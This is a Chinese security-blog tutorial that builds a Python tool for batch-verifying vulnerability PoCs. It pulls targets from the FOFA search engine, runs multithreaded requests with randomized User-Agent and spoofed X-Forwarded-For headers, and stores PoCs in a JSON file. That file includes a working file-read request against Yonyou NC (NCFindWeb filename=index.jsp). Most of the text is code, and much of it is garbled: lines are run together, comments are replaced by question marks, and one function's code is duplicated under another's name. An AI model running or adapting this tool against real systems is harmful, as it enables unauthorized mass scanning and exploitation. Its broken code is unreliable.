欢迎搜索公众号：白帽子左一

每天分享更多黑客技能，工具及体系化视频教程

作者：掌控安全- webdogc

编写目的

批量验证poc，Python代码练习。

需求分析

1、poc尽可能简单。
2、多线程。
3、联动fofa获取目标。
4、随机请求头.

实现过程

脚本分为三个模块，获取poc及目标、多线程批量请求验证、输出结果。其中批量请求验证包括构造多线程，修改请求参数，发送请求三个部分。

Main函数

在main函数中，主要有三个部分获取poc及目标，多线程(将目标填充到队列，创建多线程并启动)、输出结果。
具体实现如下：

```
def main():    # ??Ctrl+C????    signal.signal(signal.SIGINT, quit)    signal.signal(signal.SIGTERM, quit)    showpocs()    ## ????    targetList = getTarget()    ## ?????????    thread(targetList)    ## ????    putTarget(List)
```

获取目标

关于目标来源，设计单个目标、从文件中读取多个目标以及根据FoFa语法从FOFA_API中获取目标三种方式。

定义函数getTarget，函数分为两个部分

第一部分为根据 -f Fofa语法 获取目标，默认数目为30条，

第二部分为根据 -u url / -i file / -f num(数目，默认为10)
获取要请求验证的目标，两部分以是否传参poc参数区别，最后返回一个targetList列表。

具体实现如下：

```
def getTarget():    targetList=[]    count=0    if result.poc==None:        if result.outfile!=None and result.fofa!=None :            # FOFA????            if result.fofa!=None:                qbase=result.fofa                qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8")    print("FOFA???"+qbase)                fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size=30"        try:                    res=requests.get(fofa_url)                    results = json.loads(res.text)        filepath=result.outfile                    with open(filepath,'w') as targets:                        for i in results['results']:                            targets.write(i[1]+'\n')                            print(i[1])                    count+=1                        print("????"+str(count)+"??????"+filepath+"??")                except Exception as e:                    print(e)            sys.exit()    else:        if result.url!=None or result.file!=None or result.fofa!=None:            # ????            if result.url!=None:                targetList.append(result.url)            # ??????            if result.file!=None:        try:                    filepath=result.file            with open(filepath,'r') as targets:                for target in targets.readlines():
```

```
            targetList.append(target.strip())
  except Exception as e:                    print(e)
    # FOFA????           if result.fofa!=None:
   qbase=""               pocName = result.poc
   with open('poc.json',encoding='UTF-8') as f:
       data = json.load(f)                    for poc in dat
a:                        if pocName == poc:
            qbase=data[poc]['fofa']               qbase64=s
tr(base64.b64encode(qbase.encode("utf-8")), "utf-8")
        try:                    fofa_url="https://fofa.so/ap
i/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase6
4+"&fields=title,host,ip,port,city&size="+str(result.fofa)
                  res=requests.get(fofa_url)
    results = json.loads(res.text)                    print(
"FOFA???"+qbase)                    print("?????"+str(result
.fofa)+"?")                    for i in results['results']:
                        targetList.append(i[1])
      # print(targetList)               except Exception as
 e:                    print(e)            return targetList
        else :            sys.exit("??????????")
```

批量请求验证

定义thread函数，封装多线程请求相关代码，需传入获取到的目标参数target List。
具体实现如下：

```
def thread(targetList):    ## ??poc    poc=poc_load()    ##
????    queueLock.acquire()    for target in targetList:
    targetQueue.put(target)    queueLock.release()    ## ???
?    threadList = []    threadNum=result.threadNum    for i
in range(0,threadNum):        t=reqThread(targetQueue,poc)
      t.setDaemon(True)        threadList.append(t)    for i
 in threadList:        i.start()    # ????????    for t in t
hreadList:        t.join()
```

加载POC

请求验证必须使用 `-p pocName`参数指定要使用的POC，所有POC在poc.json文件中存储。

具体实现如下：

```
# ??pocdef poc_load():    if result.poc!=None:        poc =
result.poc        isPoc = False # POC????        # ??json??
       with open('poc.json',encoding='UTF-8') as f:
   data = json.load(f)            for key in data:
      if poc == key:                    isPoc=True        if
 isPoc==False:            print("POC ????")            sys.e
xit("???--show??poc???")        else:            return data
[poc]    else:        pass
```

多线程类

定义reqThread线程类，传入队列以及poc两个参数，封装req请求方法。
具体实现如下：

```
class reqThread (threading.Thread):    def __init__(self, q,
poc):        threading.Thread.__init__(self)        self.q =
 q        self.poc=poc    def run(self):        try:
    while not self.q.empty():                queueLock.acqui
re()                target=self.q.get()                queue
Lock.release()                if self.req(target):
          print(target+" is vuln !")                    List
.append(target)                else:                    pass
        except Exception as e:            pass    def req(se
lf,url):        poc=self.poc        payload=urlParse(url)+po
c['request']['url']        res=requests.request(method=poc['
request']['method'],url=payload,headers=randomheaders(poc),p
roxies=getProxy(),data=poc['request']['data'],verify=False,t
imeout=5)        if res.status_code==200 and poc['request'][
'confirm'] in res.text:            return True        else:
          return False
```

其中在req中的请求方法内，存在三个修改请求的方法。

urlParse

对获取到的目标进行文本处理。

```
# ??urldef urlParse(url):     if "https://" not in url:
   if "http://" in url:            url=url        else:
       url="http://"+url     return url
```

getProxy

指定请求代理。

```
# ??def urlParse(url):     if "https://" not in url:
if "http://" in url:            url=url        else:
    url="http://"+url     return url
```

randomHeaders

添加随机User-Agent、referer、XFF等请求头参数值。

```
def randomHeaders(poc):    headers={}    uaList=[        'Mo
zilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, lik
e Gecko) Chrome/80.0.3987.100 Safari/537.36',        'Mozill
a/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X; zh-CN) Ap
pleWebKit/537.51.1 (KHTML, like Gecko) Mobile/17D50 UCBrowse
r/12.8.2.1268 Mobile AliApp(TUnionSDK/0.1.20.3)',        'Mo
zilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/53
7.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36'
,        'Mozilla/5.0 (Linux; Android 8.1.0; OPPO R11t Build
/OPM1.171019.011; wv) AppleWebKit/537.36 (KHTML, like Gecko)
 Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/11.
19 SP-engine/2.15.0 baiduboxapp/11.19.5.10 (Baidu; P1 8.1.0)
',        'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWeb
Kit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/5
37.36',        'Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 li
ke Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile
/15E148 SP-engine/2.14.0 main%2F1.0 baiduboxapp/11.18.0.16 (
Baidu; P2 13.3.1) NABar/0.0',        'Mozilla/5.0 (Windows N
T 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) C
hrome/64.0.3282.140 Safari/537.36 Edge/17.17134',        'Mo
zilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML
```

```
, like Gecko) Chrome/75.0.3770.100 Safari/537.36',        'M
ozilla/5.0 (iPhone; CPU iPhone OS 12_4_4 like Mac OS X) Appl
eWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMess
enger/7.0.10(0x17000a21) NetType/4G Language/zh_CN',
'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KH
TML, like Gecko) Chrome/74.0.3729.169 Safari/537.36',
 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KH
TML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (K
HTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.3
6 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36',
      'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.3
6 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
      'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.
36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36',
   ]    refList=[        "www.baidu.com"    ]    xffList=[
      '127.0.0.1',        '51.77.144.148',        '80.93.212
.46',        '109.123.115.10',        '187.44.229.50',
  '190.14.232.58',        '5.166.57.222',        '36.94.142.
165',        '52.149.152.236',        '68.15.147.8',
'188.166.215.141',        '190.211.82.174',        '101.51.1
39.179'    ]    if 'User-Agent' in poc['request']['headers']
:        if poc['request']['headers']['User-Agent'].strip()!
='':            headers['User-Agent']=poc['request']['header
s']['User-Agent']        else:            headers['User-Agen
t']=random.choice(uaList)    if 'referer' in poc['request'][
'headers']:        if poc['request']['headers']['referer'].s
trip()!='':            headers['referer']=poc['request']['he
aders']['referer']        else:            headers['referer'
]=random.choice(refList)    if 'X-Forwarded-For' in poc['req
uest']['headers']:        if poc['request']['headers']['User
-Agent'].strip()!='':            headers['X-Forwarded-For']=
poc['request']['headers']['X-Forwarded-For']        else:
        headers['X-Forwarded-For']=random.choice(xffList)
  for key in poc['request']['headers']:        if key != "re
ferer" and  key != "User-Agent"  and key != "X-Forwarded-For
":            headers[key]=poc['request']['headers'][key]
 return headers
```

输出结果

定义全局变量List，储存要输出的目标，定义输出方法putTarget。
具体实现如下：

```
List=[]## ??def putTarget(resultList):    if result.file!=No
ne or result.fofa!=None:        if len(resultList)!=0 :
       if result.outfile != None :                filepath=r
esult.outfile                with open(filepath,'w') as targ
ets:                    for target in resultList:
               targets.write(target+'\n')                prin
t("?????"+str(len(resultList))+"??????"+filepath+"??")
  else:            print("????????????")    else:        pas
s
```

其他

全局变量

```
# ??https??requests.packages.urllib3.disable_warnings(Insecu
reRequestWarning)## ??targetQueue = queue.Queue(100)## ?queu
eLock = threading.Lock()# ??List=[]# FoFAemail=""key=""
```

命令行读取参数

```
arg = ArgumentParser(description='POC_Verify')arg.add_argume
nt('-u', dest='url',help='Target URL',type=str)arg.add_argum
ent('-i', '--file', dest='file',help='Scan multiple targets
given in a textual file',type=str)arg.add_argument('-f',"--f
ofa", dest='fofa',help='fofaquery Nums/String Example if poc
 -f 10 else -f "abc" default=30',default=10)arg.add_argument
('-p', dest='poc',help=' Load POC file from poc.json')arg.ad
d_argument('-proxy', dest='proxy',help='Use a proxy to conne
ct to the target URL Example : -proxy http:127.0.0.1:8080',t
ype=str)arg.add_argument('-t', dest='threadNum',help='the th
read_count,default=10',  type=int, default=10)arg.add_argume
nt('-show', dest='show', help='show all pocs',nargs='?',cons
t='all',type=str)arg.add_argument('-o', '--outfile', dest='o
utfile', help='the file save result',  default='result.txt',
```

```
type=str)result = arg.parse_args()
```

poc详情显示

```
## ??pocdef showpocs():    isPoc = False    if result.show !
= None:        # ??json??        with open('poc.json',encodi
ng='UTF-8') as f:            data = json.load(f)
if result.show== "all":                print("pocname".ljust
(20),"description".ljust(20))                print("------
----------------------------------------")               fo
r key in data:                    print(key.ljust(20),data[k
ey]['name'].ljust(20))            else:                if  r
esult.show in data:                    print("pocname".ljust
(20),"description".ljust(20))                    print("--
----------------------------------------")
      print(result.show.ljust(20),data[result.show]['name'].
ljust(20))        sys.exit()    else:        pass
```

Ctrl+C结束线程

```
# ????def quit(signum, frame):    print('You choose to stop
me.')    sys.exit()def main():    # ??Ctrl+C????    signal.s
ignal(signal.SIGINT, quit)    signal.signal(signal.SIGTERM,
quit)
```

poc.json文件

poc本质为一次HTTP请求，本着简单的原则，仅设计名称、联动fofa的语法、请求头、请求内容、以及验证漏洞存在回显的内容5个字段。

```
{    "pocname": {        "name":"????",                "fofa
":"fofa????????????",        "request": {            "meth
od": "",            "url":"",            "headers": {
        "referer": "",                "User-Agent": "",
           "X-Forwarded-For": "",                "Content-T
ype": ""            },            "data": "",            "co
nfirm": "?????"        }    },    "yonyounc": {        "name
": "??NC ??????",                "fofa":"app=\"??-UFIDA-NC\"
",        "request": {            "method": "get",
```

```
  "url": "/NCFindWeb?service=IPreAlertConfigService&filename
=index.jsp",            "headers": {            "referer": "
",                   "User-Agent": "",                    "
X-Forwarded-For": ""                },           "data": ""
,            "confirm": "<%@ page language="        }    }}
```

运行结果

FoFa获取目标